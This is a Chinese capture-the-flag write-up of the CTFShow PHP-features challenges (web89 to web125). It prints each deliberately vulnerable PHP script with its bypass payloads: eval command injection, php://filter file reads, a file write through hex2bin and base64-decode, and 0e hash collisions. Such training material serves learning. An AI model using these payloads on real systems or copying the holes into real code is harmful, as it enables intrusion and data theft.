CTFShow PHP 特性

web89

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

分析:

  1. 正则表达式匹配: 数字 0-9, 就会 狗带 no no no
  2. intval() 函数:获取变量的整数值

实验:

  1. 数组绕过 : ?num[]

web90

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

intval($num,0) 第二位参数为 0

iintval() 获取变量的整数值:

从这可以看出,整个函数只读取了传入的字符串中的数字部分且只取字母前面

1
?num=4476a

将 num==4476a 传入将得到 4476 那么 if(intval($num,0) === 4476) 成立 即可获得flag

web91

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

分析:

  1. 正则表达式 : /^php$/im:

    ^ : 匹配输入字符串的开始位置

    $ : 匹配输入字符串的结尾位置

    i : 不区分大小写

    m : 多行匹配 使边界字符 ^$ 匹配每一行的开头和结尾

    那么这个正则表达式 ,输入的字符串为 php 才为真才能进入此 if 中

  2. 正则表示 /^php$/i: 与上一个正则相比 少了 多行匹配。 那么突入点就在 这个 m多匹配上面。

  3. 第二个 if 语句不能满足才能得到 flag 意思就是 第二个 if 它不能匹配到字符串 php

  4. 第一个 if 语句多行匹配到字符串 php

  5. 因此得让第一个多行匹配能匹配到字符串 php 而 第二个单行匹配不能匹配到字符串 php 就得让字符串第一行不为 php 第二行或者第三行…… 为php

  6. 构建 playload notphp换行php – > notphp%0a123%0aphp (一共三行 %0a 为换行符的 URL编码)

实验:

  1. 直接输入 php 效果:

  1. notphp%0a123%0aphp

web92

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

分析:

  1. intval() 获取变量的整数值,intval ( mixed $var [, int $base = 10 ] ) : int
  2. 使用指定进制 base 转换(默认十进制) base是 0 ,检测 var 的格式来决定使用的进制:

  1. if(intval($num,0)==4476){echo $flag;} 此处 == 为弱比较,只比较数值,不比较类型,那么将 4476 转换为八进制(010574)或十六进制(0x117c),就能使比较成立并得到 flag
1
2
?num=0x117c
?num=010574

web93

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

分析:

  1. 此题相较于上一题 多了正则匹配了 字母, 那么六进制 0x 将失效
  2. 八进制(010574)
1
?num=010574

web94

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

分析:

  1. 此题相较于上一题多了 strpos($num,’0’) 查找字符串 0 首次出现的位置
  2. 小数点绕过: 4476.0

web95

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

分析:

  1. 相较于上一题对小数点进行了匹配
  2. 新方法: strpos() 用 %0a(换行), %20(空格), %2b(+), 空格 绕过
  3. %0a010574, %20010574, %2b010574

web96

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

分析:

  1. if GET 到的字符串为 flag.php 则会狗带。
  2. 而整个代码,最后 highlight_file() 在 else 上 ,那么 GET 到的 u 必须为 FALSE才能执行else,但是 u 不能等于 flag.php;不过 highlight_file() 使用路径,那么就有 :./flag.php .表示当前目录下的文件,或者绝对路径 : /var/www/html/flag.php

web97

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

分析:

  1. 看见 md5 就联想到 md5碰撞和数组绕过;三个 =
  2. 数组
  3. 强碰撞

web98

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

分析:

  1. 三目运算符 与 &
1
2
3
4
5
6
7
$_GET ? $_GET=&$_POST : 'flag';
// 如果$_GET为 True :$_GET = &$_POST --> GET存在,GET就等于POST,POST会覆盖掉GET,此处GET没有具体的index那就随便一个试试。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
// 没啥用处
$_GET['HTTP_FLAG']=='flag' ? $flag : __FILE__
// 如果$_GET['HTTP_FLAG']等于'flag' 则 highlight_file($flag) 否则就 highlight_file(__FILE__)
 2. POST 会覆盖掉 GET

web99

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

highlight_file(__FILE__);
$allow = array();// 空数组
// 0x36d = 877 for 循环生成 1 到 $i 之间的随机数并存入到数组 $allow
// array_push() 相当于 python 中 add()方法
for($i=36; $i<0x36d; $i++){
array_push($allow, rand(1, $i));
}
//var_dump($allow);
// in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool
// in_array() 检查数组中是否存在某个值 如果没有设置 strict 则使用宽松的比较,就不会检查查找的某个值是否与数组中类型一致
// 检查数组 $allow 中是否存在 $_GET['n']
// file_put_contents($_GET['n'],$_POST['content'])将content与n写入文件
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

  1. 写入 1.php,然后访问 1.php并找到 flag36d.php

  1. 写入 1.php 然后访问

web100

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
?>

分析:

  1. is_numeric()检测变量是否为数字或数字字符串
  2. $v1是数字,$v2不能有分号,$v3有分号,然而 is_numeric()是检测数字的,而$v2和$v3有分号,没分号,这不就矛盾了吗???
  3. 注意 and && or || 的区别;and 的优先级低于&&也低于=;所以 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); 先执行 = 赋值将 $v1赋值给 $v0,后面的被忽略
  4. 本题没有对命令进行过滤

1
?v1=1&v2=show_source('ctfshow.php')&v3=;

如上图显示出: $flag_is_c2ec8d720x2dd1960x2d46250x2daa520x2d967b8bad6aba 其中 0x2d为十六进制 ‘-‘ (短横线),将其替换

1
ctfshow{c2ec8d72-d196-4625-aa52-967b8bad6aba}

web101

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}

?>

分析:

  1. 正则匹配了一大堆东西
  2. 涉及了新知识 反射类
1
?v1=1&v2= echo new Reflectionclass&v3=;

这个 flag后面差一个,从 0-9,a-f 猜一个

web102

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

分析:

  1. $v4 = is_numeric($v2) and is_numeric($v3); 只要 $v2是数字就行,在PHP 中and 和 && 的优先级不同
  2. substr($v2,2)表示字符串$v2从第二位开始截取一直到最后
  3. call_user_func($v1,$s)表示把$v1作为回调函数(可以是系统函数或自定义函数),$s则为回调函数的参数

  1. 查看了提示 (🐂🍺) hexbin() 转换十六进制字符串为二进制字符串
  2. /v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
    decode/resource=1.php post:v1=hex2bin

  1. 再查看1.php 右键源码即可得到flag

web103

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

分析:

  1. 与上一题类似,多了正则匹配任然可以用上一个方法

web104

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>

分析:

  1. shal() 函数算字符串的 sha1 散列值 ,
  2. 此题与 md5() 的解法类似,都不能处理数组且为若比较
  3. ?v2[]=1 post: v1[]=2

  1. ?v2=aaK1STfY post:v1=aaO8zKZF

  1. 其中 aaK1STfY的 sha1的值为 0e76658526655756207688271159624026011393
  2. 其中 aaO8zKZF的 sha1的值为 0e89257456677279068558073954252716165668
  3. 它们两者使用若比较且0e的科学计数法的值都为0 因此可以绕过

web105

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

分析:

  1. $$为可变变量,即变量覆盖。
  2. 例如 $a=’A’; $$a=’Z’, $A=Z; $$a先把后面$a解析为’A’,然后 A作为变量$A等于Z
  3. 懒得组织语言

web106

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>

分析:

  1. 与 web104一样

web107

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}
?>

分析:

  • parse_str() 将字符解析成多个变量。

  • 注意这句话: 如果设置列第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为代替。这什么意思呢???看下图

  • 如图所示:第二个参数 output,作为了下面三个echo中的数组名,而索引:first, arr, arr 都为 目标字符串中的内容;因此在本题当中: $v2[‘flag’] 中索引 flag 必须为 字符串v1中的内容,所以目前 v1=flag=what what what
1
2
3
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
  • 同时考察 md5() 的弱比较,将 $v3 MD5编码过后与 1=flag=what what what 来比较;因此就有如下:
1
2
3
4
v3=QNKCDZO
// mdt(QNKCDZO) = 0e830400451993494058024219903391 // md5编码为0e的科学计数法,且值为 0
post:
v1=flag=0e462097431906509019562988736854 // md5编码为0e的科学计数法,且值为 0 此处可简写 v1=flag=0
  • 此时 0 == 0 为 True 即可得到flag

web108

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

分析:

  • ereg() 为正则表达式匹配,匹配到返回 TRUE,否则返回 FALSE但会被 %00截断
  • strrev() 函数为反转字符串
  • intval() 获取变量的整数值
  • 要绕过第一个if 可以 ?c=a%00xxxx,此时程序只认识%00前面的 a 就会返回TRUE 即可绕过这个if从而不会狗带
  • 第二个if() 将传入的字符串先反转再取整数值:
  • 0x36d为十六进制,转换为十进制为: 877
  • 综上所述有: ?c=a%00778,那么778反转过来为 877 , 877 == 0x36d 即可得到 flag

web109

源码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

分析:

  • 这道题主要考察 内置类🐂🍺 : Exception (PHP异常处理),详情百度
  • PHP变量后跟括号:php 变量函数 如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且将尝试执行它。
  • ?v1=Exception&v2=system(‘tac fl36dg.txt’)

web110

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

分析:

  • 这道题同样考察 内置类的用法且过滤了这么多符号
  • 看了大佬的做法
  • ?v1=FilesystemIterator&v2=getcwd
  • 利用了 FilesystemIterator类与getcwd(获取当前工作目录) 来读取目录中的内容

  • 再访问这个文件

web111

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>

分析:

  • 首先阅读程序上下文,定义了一个函数 getFlag()有两个参数分别是&$v1,&$v2, 其中eval(“$$v1 = &$$v2;”); 表示 $$v1=($$v2的地址)=$v2;
  • 其次仍然对$v1,$v2过滤了很多内容
  • 然后对$v1进行匹配为 ctfshow才能执行它的分支,才能调用上面定义的函数;那么$v1=ctfshow, $$v1=$ctfshow, $ctfshow=$v2; 这时第一个参数 $v1=ctfshow,出来了,第二个参数可以利用: GLOBALS
  • 因此: ?v1=ctfshow&v2=GLOBALS

web112

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

分析:

  • 首先阅读程序上下文,自定义了一个函数 filter() 功能是对传入的参数进行匹配过滤
  • 然后 is_file() 函数的功能是:判断给定文件名是否为一个正常的文件,注意 !(非)操作,要不是一个正常的文件路径才会执行它的分支

  • 这道题过滤了 input, rot13, base64 但是还有许多伪协议,编码方式没有过滤🐂🍺:
1
2
3
4
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

分析:

  • 阅读程序上下文,发现在上一题的基础上对 filter进行了匹配,那没事没有对 compress.zlib://进行过滤
  • compress.zlib://flag.php

web114

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!

分析:

  • 阅读程序上下文,发现对 compress进行了匹配,但却对 filter 的匹配取消了
  • ?file=php://filter/resource=flag.php
  • 😕

web115

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!

分析:

  • 首先阅读程序上下文,定义了一个函数 filter() 过滤了一些内容。
  • is_numeric() 判断是否为数字。
  • trim() 移除字符串首尾的空白字符(或者其他字符) 重点,大坑。

  • 注意图中 trim() 会去除的字符有: \n” (ASCII 10 (0x0A)),换行符, \x0B” (ASCII 11 (0x0B)),垂直制表符。 “\r” (ASCII 13 (0x0D)),回车符。 有 0A, 0B, 0D 唯独没有 0c , 0x0c 为分页符。这意思就是 trim() 对 字符串首尾有 0x0c的字符不起作用,这™谁知道有这茬啊。

  • !==: 不全等,会比较类型和值, == 弱类型比较,只比较数值, 注意这点,那么 $num!==’36’ 与 $num==’36’ 将不会矛盾,因此 第一个 if 才为True 才能继续向下执行。

  • ?num=%0c36

web123

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

分析:

  • 这道题不看提示,我真不知道 php 会把 获取到的参数 小数点 自动转化为 下划线 : . _ ; 下划线又等于[, 而且只会转换一次.
  • 先看给出的答案: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag ,其中将 CTF_SHOW.COM 中下划线改为了[ 这样转换了一次后面的小数点将不会自动转换为 _(下划线)
  • 本地试验看看:

  • 如图所示: 如果原封不动的传入参数,var_dump() 将不会执行,唯有手动将第一个下划线改为[(左中括号才能行),这个特性🐂🍺

web125

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

分析:

  • 在上一题的基础上增加了 对 flag, echo ,GLOBALS, var_dump, print 的过滤
  • GET:?1=flag.php POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=highlight_file($_GET[1])

  • CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
  • extract() 函数可以覆盖变量,学到了

web126

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
